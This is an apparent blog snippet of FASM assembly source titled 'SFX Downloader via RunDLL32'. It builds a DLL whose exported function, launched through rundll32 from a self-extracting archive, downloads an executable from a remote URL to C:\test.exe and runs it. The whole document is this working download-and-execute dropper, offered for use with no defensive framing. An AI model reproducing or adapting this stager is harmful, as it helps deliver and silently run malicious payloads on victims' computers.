http://unremote.org/?p=716

;-------------------------------
; SFX Downloader via RunDLL32
; Snippet by DarkCoderSc
; unremote.org
;-------------------------------

format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32a.inc'

;-- rw
section '.data' data readable writeable

CMD_OPEN db 'open',0
url db 'http://unremote.org/test.exe',0
output db 'c:\\test.exe',0
errmsg db 'ERROR',0
errtitle db '',0
okmsg db 'OK',0
oktitle db '',0

section '.text' code readable executable

proc DllEntryPoint hinstDLL, fdwReason, lpvReserved
mov eax,TRUE
ret
endp

;-- This is the function we call via rundll32 via the SFX arg line
proc dcscdownload
xor eax, eax
invoke URLDownloadToFile, 0, url, output, 0, NULL ; download
cmp eax, 0
jne enderr
invoke ShellExecute, 0, CMD_OPEN, output, 0, 0, SW_SHOW ; execute
jmp endok
enderr:
invoke MessageBox, 0, errmsg, errtitle,0
jmp endpr
endok:
invoke MessageBox, 0, okmsg, oktitle,0
endpr:
ret
endp

;-- Import and export table
section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL',\
urlmon,'URLMON.DLL',\
Shell32,'SHELL32.DLL',\
user,'USER32.DLL'

import Shell32,\
ShellExecute,'ShellExecuteA'

import user,\
MessageBox,'MessageBoxA'

import urlmon,\
URLDownloadToFile,'URLDownloadToFileA'

section '.edata' export data readable

export 'OURDLL.DLL',\
dcscdownload,'dcscdownload'

section '.reloc' fixups data discardable